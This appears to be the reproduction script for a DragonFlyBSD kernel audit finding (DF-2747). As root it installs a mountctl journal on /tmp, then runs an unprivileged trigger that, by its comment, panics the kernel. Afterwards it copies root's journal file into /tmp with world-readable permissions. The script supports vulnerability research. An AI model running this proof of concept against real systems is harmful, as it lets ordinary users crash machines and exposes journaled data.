DragonFlyBSD Kernel Audit
DF-2747 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# root, one-time: install a journal on the victim mount (output file
# must live on a DIFFERENT filesystem; here tmpfs /tmp vs hammer2 /root)
mkdir -p /tmp/jstress && chmod 777 /tmp/jstress
mountctl -a -w /root/j1.bin -o memfifo=64k /tmp:race
mountctl -l /tmp
# unprivileged trigger (stock kernel: panics < 90 s; see run.log)
su nobody -c /tmp/df2747 12 400 /tmp/jstress   # or run as any regular user
# post-run: journal stream integrity
cp /root/j1.bin /tmp/j1_sample.bin && chmod 644 /tmp/j1_sample.bin
python3 parse_stream.py /tmp/j1_sample.bin   # run on the host